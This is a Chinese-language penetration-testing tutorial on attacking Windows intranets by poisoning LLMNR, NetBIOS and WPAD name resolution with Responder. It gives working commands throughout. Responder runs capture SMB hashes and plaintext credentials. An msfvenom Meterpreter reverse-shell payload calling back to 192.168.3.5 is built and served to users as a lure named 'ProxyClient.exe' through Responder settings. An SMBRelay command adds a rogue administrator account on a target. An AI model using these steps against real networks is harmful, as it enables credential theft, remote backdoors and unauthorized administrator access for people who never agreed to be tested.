利用LLMNR协议进行常规win内网渗透的理解与实践

0x01 由LLMNR协议引发的一系列中间人,在开始真正的内容之前,我们需要先来了解下,在同一内网环境下的windows机器之间的一些通信细节,当一台win机器向另一台win机器以域名[其实是机器名] 的形式请求相应的资源时,正常的通信流程如下

1
2
3
4
5
6
首先,windows会先去检查自己的主机配置文件[即常说的host文件,通常在C:\Windows\System32\drivers\etc下],然后按照此文件事先配置好的指向进行解析
当上面的步骤无法正确解析时,此时系统会自动去检查本地的dns缓存,按照缓存中的指向再进行解析,执行 ipconfig /displaydns 即可看到缓存内容
如果连本地缓存也不能正确解析,它会继续向本地网络中的dns服务器去请求
最后,如果本地网络中的dns也解析失败,它就会被交给LLMNR[链路本地多播名称解析]和netbios-ns去处理解析
[netbios 即名称服务,专门用于同一内网下windows机器之间通过机器名相互访问,工作在会话层]

0x02 而基于LLMNR的中间人攻击,也就发生在上面流程的最后一步:

假设现在有三台机器,A[正常的客户机],B[攻击者的机器],C[要访问的服务器],当A向C发起共享资源请求时,由于本地dns解析失败,正常情况下该请求会被交给LLMNR然后执行netbios查询,但不巧的是攻击者此时正在监听网络中的所有netbios查询请求,自然也就会捕捉到这条查询,当攻击者捕捉到该查询之后,它会告请求者也就是A,我[B]就是你要请求的那台服务器,接着A会把自己的账号密码提供给B认证,也就是说,此时B已经截获到了A的账号密码,一次简易的基于LLMNR中间人的攻击就这样被完成了,下面的流程图已经很好的说明了这一攻击过程
LLMNR

此时,我们再利用responder 来获取目标的smb hash,虽然不是明文,但我们可以配合类似hashcat的hash破解工具尝试破解该hash,当然,如果你有自己的GPU矩阵就再好不过了,或许很快就可以拿到对应的明文

1
# responder -I eth0


在C上,也就是我们的服务器上先创建一个共享目录

然后再回到A上通过smb进行访问

此时,回到B上我们就轻松截获了A发来的登陆凭证


0x03 说完netbios,我们再来说说WPAD,还是先大致了解下WPAD是个东西

正常情况下,一些公司为了提高网络利用率,尽量减小带宽消耗,在内部一般都会采用代理服务器的方式来上网,这也就意味着公司内部的员工要想上网则需要把自己的系统代理地址设为公司代理服务器的地址,说了一大堆没用的,WPAD又是干什么的呢,说白点主要用它来查找网络中的wpad.dat文件的,有了该文件以后,客户端以后就会根据文件中的内容自动配置代理,但如何查找到这个文件的位置呢,一种方式可以通过dns查询,另一种方式是通过dhcp服务进行检索,还有就是利用LLMNR查询,我们确实是可以利用dns或者dhcp毒化,来操控流量指向,但这种方式很容易被拦截,而LLMNR则不一样,它是通过广播告诉同一内网下的所有windows,它就是wpad服务器,这样当你的浏览器设置为’自动检测代理设置’的情况下,它就会下载攻击者事先准备好的wpad.dat文件,这样一来,客户端的流量就会经过攻击者的机器,相信下面的图已经描述的非常清楚了

利用responders获取内网明文密码

1
# responder -I eth0 -wFb




利用responder 在内网中伪造钓鱼页面批量挂后门 [内网社工也许会用得上]

1
2
3
4
5
首先,准备好自己的马,这里我就暂时直接用msf来生成了,实际中,大家尽可能把自己的马伪装的好一点
免杀是必须的,生成好以后把它放到我们的responder的files目录中
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.3.5 LPORT=1234 -f exe -o /root/Desktop/shell.exe
# mv /root/Desktop/shell.exe /usr/share/responder/files/

1
2
# 编辑responder的主配置文件,开启下面的选项
# vi Responder.conf
1
2
3
4
5
6
Serve-Always = On
Serve-Exe = On
HtmlFilename = files/AccessDenied.html
ExeFilename = files/shell.exe 指定我们刚刚生成的shell名称
ExeDownloadName = ProxyClient.exe 提示下载时所显示的名称,最好弄个成功率比较高的有诱惑性的名字
`

1
# responder -I eth0 -wrf





利用responder进行smbrelay攻击 [后面可以连续提供多个用户名进行尝试,记得用空格分开即可]:

1
#./SMBRelay.py -t 192.168.3.251 -c "net user vuln pass /ADD && net localgroup administrators vuln /add" -t 192.168.3.5 -u Administrator



一点小结:
    相对于各类传统的中间人,类似的攻击,成功率相对来说可能会更高,关于responder的用法,这里只简单列举了一部分,观察到最新版的里面又加了很多貌似很好用的功能,抽空再续吧,另外,也期待大家能一起积极深入交流讨论